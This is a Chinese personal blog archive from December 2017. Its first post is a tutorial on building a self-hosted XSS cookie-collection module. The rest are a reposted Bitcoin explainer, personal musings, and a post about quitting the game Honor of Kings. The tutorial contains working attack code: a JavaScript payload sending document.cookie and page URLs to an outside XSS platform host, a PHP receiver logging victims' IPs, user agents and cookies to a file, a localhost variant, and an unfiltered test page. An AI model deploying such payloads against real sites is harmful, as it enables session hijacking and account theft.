2017年12月22日星期五

编写自己的XSS接受模块

前言:

看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。
我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。
那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。

步骤:

这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie


(function () {
    (new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function () {
        try {
            return top.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape((function () {
        try {
            return document.cookie
        } catch (e) {
            return ''
        }
    })()) + '&opener=' + escape((function () {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
        } catch (e) {
            return ''
        }
    })());
})();
if ('{set.keepsession}' == 1) {
    keep = new Image();
    keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};


这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)….." />,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。 
那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。 
 这里的话我图简单就本地phpstudy搭建了,反正都一样。。。

接受和处理cookie的xss.php

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$ck = $_GET["cookie"];
$loca = $_GET["location"];
$file = fopen('cookie.txt','a+');
fwrite($file,"Location = ".$loca."\r\n"."Ip = ".$ip."\r\n"."Agent = ".$agent."\r\n"."Cookie = ".$ck."\r\n");
fclose($file);
?>


发送GET请求的xss1.js


var cookie = new Image();
cookie.src = "http://localhost:81/jsstudy/xss.php?location=" + escape((function () {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape(document.cookie);

本地写一个无过滤的界面来测试是否可以用。 

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>XSS原理重现</title>
</head>
<body>
<form action="" method="post">
用户名:<input type="text" name="userName" size="12" />
密码:<input type="text" name="ps" size="10" />
<br />
<input type="submit" name="denglu" value="登陆" />
</form>
<hr>
<?php
if(isset($_POST["denglu"]))
{
    echo "您输入的用户名是:" . $_POST["userName"];
    echo "<br />您输入的密码是:" . $_POST["ps"];
}
?>
</body>
</html>


最后看看我们本地的地方是否存在这个cookie.txt 

成功打到cookie,说明成功。









2017年12月21日星期四

比特币是什么?


1、我们来假设一个场景---某所学校里的一个班级。阿聪老师为了激励同学,会对表现良好和成绩进步的同学奖励小红花,这些小红花可以在班级的书架里面兑换动漫书、小说或者漂亮的文具等等。此举很受学生们的欢迎,慢慢的同学之间的一些交易,也开始用小红花作为交易媒介。比如小强要借我的《火影忍者》,就要支付小红花给我,我得到的小红花就可以去班级的书架上租我爱看的小说。这样一来,小红花就成为了我们班级的货币。

但是这个体系最终却崩溃了,因为有同学为了能多换书籍和文具,开始自己制作小红花。小红花的量越来越多,超过了阿聪老师往书架补货的速度,最终东窗事发,导致同学们再也不相信纸片小红花了。

2、看到这种情况,阿聪老师想了一个办法。不再用实物形式的小红花了,而是记账!每个同学都有一个属于自己的“小红花账本”,同时在班长那里设置“小红花总账”。当交易发生的时候,同学在班长的见证下,填写自己的账本。班长看到一切正确,就把这笔交易记录在“小红花总账”上。比如,我想租借小明同学的漫画,我要支付给他1朵小红花。那么我就在我的账本上记录“小红花-1”,小明在他的账本上记录“小红花+1”,然后我们去拿给班长看,班长看后觉得没问题,就在“小红花总账”上记录这笔交易。如果有同学想偷偷修改自己的账本,但是跟班长的总账对不上,就会发现问题。

但是这个货币体系却崩溃了,因为突然有一天,有同学发现跟班长同桌的女生总是有用不完的小红花。这个过程我可以写一万字,就不多说了,反正你懂的。

3、阿聪老师确实是聪明的老师,看似很难的问题,阿聪老师想出来一个绝妙的解决办法。(有人可能会说,让纪律委员监督,这是治标不治本的。)
阿聪老师的办法如下:
第一, 不再设立总账。
第二, 每一笔交易全班同学都要记账,不论这笔交易是否涉及到你。
第三, 每天下午全部课程结束后,全班同学一起计算今天发生的交易。
第四, 每天最先计算出来的同学,奖励2朵小红花。
第五, 在每天计算之后,一笔交易只有与绝大多数同学记录的一致,才能被承认。

举个例子:我想租借小雪同学的小说,需要支付给小雪1个小红花。我把这笔交易记在我的账本上,然后把付款的单子传递给前后左右的同学,收到我单子的同学记录这笔交易,然后再传给他们周围的同学,直到全班都记录了这笔交易。这样一来,有人要偷偷修改账本就很难了,他必须与全班同学的账本对账,只有绝大多数(超过半数)的同学账目能跟你对上(也许有个别同学记错账),这笔交易才能得到认可。同时还调动了同学们计算账目的积极性,因为最早计算出来的同学有奖励。

哈哈,现实生活中,不会有这么变态的班级和老师啦,我就不再继续拓展了。我们来看这个模拟的场景。

① 这个场景中,账本上的小红花就是一种数字货币,相当于比特币。
② 全班同学组成的网络就是一个p2p网络。每个同学就相当于一个节点。
③ 同学+账本共同组成的系统就好比一个区域链。
④ 不存在一个保存在班长那里的“小红花总账”,这就是去中心化。
⑤ 最先计算出来的同学会得到奖励,这个就是挖矿。
⑥ 有个同学用计算器,算的比别人快,这个计算器就相当于矿机。
⑦ 如果同学的账本上面都不写自己的名字,而是用自己想的代码表示,这就是匿名性的体现。


4、现在我们把班级的例子搬到现实的网络世界中来。就是这个样子:



每一个记账的同学,就是一个节点。在网络中,用户在电脑上运行比特币客户端软件,这样的电脑称为一个节点(node)。这些节点联系在一起,就形成了一个p2p网络。这些网络的节点都参与记账,就形成了一个分布式存储的系统---区域链。
在网络中,安全性是一个重要的考量。比特币系统采用“密钥对”来保证安全性。密钥对就是一个私钥对应一个公钥。

5、回到班级的例子中,假设每个同学都有自己的密码(私钥),然后去阿聪老师那边根据私钥领取一个对应的公钥。这个公钥就作为童鞋们的账户名和地址。我要支付给小明,就填写小明的公钥收款,我的公钥汇款,其他同学看到我的公钥汇款,然后可以去阿聪老师那边验证,这个公钥是不是真实的。是不是随便瞎掰了一个账户。不过我的私钥他们不知道。

网络中也是这样。每个参与者,随机生成一个字符串,这是你的私钥,然后这个私钥通过转换变成公钥(也是一个字符串),这个公钥就是你的比特币账户。我向其他人转账的时候,我把单子发给其他的节点,并且传播到全网。网络上的其他节点可以使用对应的公钥对交易进行验证,看看这个账户是不是来自一个合法的账户持有者。

这时候,矿工登场了,他们要验证交易。每10分钟的数据都被打包成一个“数据块”。就好比班级里面计算每天的数据一样,在比特币系统,是按10分钟的交易数据了计算的。

计算的方式是用哈希函数。这个不多说了,计算的胜出者,就会得到一定比特币的奖励,这个奖励最初是50比特币,今后每产生210000个区块,比特币数量都会依次减半。直到第33次减半时,每个块产生0.0021个新比特币直接减为0个。我们知道比特币大约每10分钟产生一个区块,而210000个10分钟接近4年。所以比特币挖抗的收益是大概4年降低一半。现在已经降低了2次,目前的奖励是12.5个比特币。

至于为什么这么设定,这个就要问比特币的发明者—中本聪了。如果你能找到他的话。

via:https://www.zhihu.com/question/22076666/answer/279766420

2017年12月9日星期六

过去的结束,未来的开始

卸下了最后的因为过去而背上的包袱,跟过去说了再见。

感谢所有曾经给予我帮助的人

再见,过去

你好,未来

2017年12月5日星期二

无题2017.12.5

生命中会有更多的遗憾,会有很多的过客,有些人来到你的世界,共处一段时光然后离去,只在你的脑海里留下一丝回忆。

那些人,在举杯后都走散,不再相聚。

生命中太多的过客,我突然不想关心这些纷纷扰扰。

我不关心哪些主播在吃鸡游戏中开挂,那与我无关。

我不关心谁谁谁的段位上了王者,那与我无关。

我不关心哪个明星开了什么演唱会,反正我不会去听。

我没有情怀,我没有兴趣。

“不哭不笑,不喜不悲”

这就是我的标签

看过很多的不幸,参加过很多生死离别的葬礼,我知道,人人最终都会化为一抔黄土,我不会例外。

有过并不怎么好的童年,一个很糟糕的家庭环境,所以对生活一直做好了最坏的打算,我希望做一个丁克,因为我不关心人类文明的延续,我只想要我自己开心。

我们的生活,就是一个又一个的囚笼,我们从一个囚笼,飞到了另一个囚笼,生活的枷锁,改变了我们的心态和外在。

时间总在说谎,生命明明多渺小,我们都在害怕,害怕得到又害怕失去。

说什么时光不老我们不散,说什么友谊天长地久。

我不关心。

我只关心,今天的你过得开不开心,今天的我过得愉不愉快。

开心最重要。

不开心的事物,也许需要坚持下去会开心,也许需要及时放弃。

新的地方,新的心态,思想也在慢慢转变。

从学生到社会人士,从乙方到甲方,每种场合会有每种场合的思想,每种环境会有每种环境的心态。

我们都在向前跑,负重前行,为了我们心中的目的地而努力着。

忙碌,辛苦,加班,一段时间后,再往回看,很多已经改变,纵然心中万种感慨,亦找不到可倾诉之人。

这大概就是屁股决定脑袋吧。

谁在走远了,谁停留在原地,谁跌倒了,谁已经实现愿望

我不知道,其实我也不关心

太多举杯离去后的人,会再也不见,这一切,太过脆弱。

我不敢再去关心。

只得

不哭不笑,不喜不悲。

2017年12月4日星期一

欢迎来到王者荣耀

君生我未生,我生君已老。
君恨我生迟,我恨君生早。

这几天心情并不好,也许是因为这几句诗,虽然有很多遗憾,有很多的无可奈何,最后却只能接受。

那就这样吧。这次我想说说农药。

“欢迎来到王者荣耀!”

今年的入坑时间应该是在六月底,与我而言,入坑的理由其实很简单,或者说玩一款游戏的理由,就是有很多的好朋友一起玩,那我就会毫不犹豫的入坑。

初入坑时,几乎只会玩鲁班,开始青铜时还好,后来玩多了,发现鲁班不行,于是试着后羿,再法师、辅助、上单、刺客都玩了个遍,英雄池也渐渐的丰富了;开始时懵懂无知,用鲁班solo杰哥的刺客,结果被杀到怀疑人生。后来渐渐的上分,最高时终于上到了钻石1,后来因为他们都是ios的,我就买了部ipad,建了ios区的新号,加了他们的战队,那时玩的应该是最开心的时候。

后来,农药的坑越来越多,游戏环境的戾气越来越重了,弃坑的和说要弃坑的朋友都多了,作死的天美也出了一堆恶心人的英雄,比如百里守约、女娲,有很多英雄,新出很强,等你买了就削弱,美名曰平衡性调整,无脑英雄越来越强,挂机代练的越来越多,游戏体验越来越渣。

我知道是该离开的时候。

与我而言,玩游戏的初衷并不是为了上分,只是希望和朋友们一起开黑打发时间,仅此而已。

但是当越来越多的朋友弃坑的时候,我开始怀疑这个游戏是否还有必要继续玩。

弃坑的人到了一定程度,量变会改成质变。

留下的人无法改变农药在走下坡路的事实。

既然没有必要再留下在这个游戏,那么把战队也退了吧。于是退了

于是把游戏也删了

在这个游戏里,我除了开始的时候玩的很开心,后来的体验越来越糟糕,这与我玩游戏的初衷已经相违背了。

于是,再见

王者荣耀

我想它于我的使命已经完成,就是曾经一起与朋友开心的开黑过,这就够了

也许哪天,会有人对我说:来,五黑!上号!

那我会毫不犹豫的安装回去重新上号

但是此刻

再见王者峡谷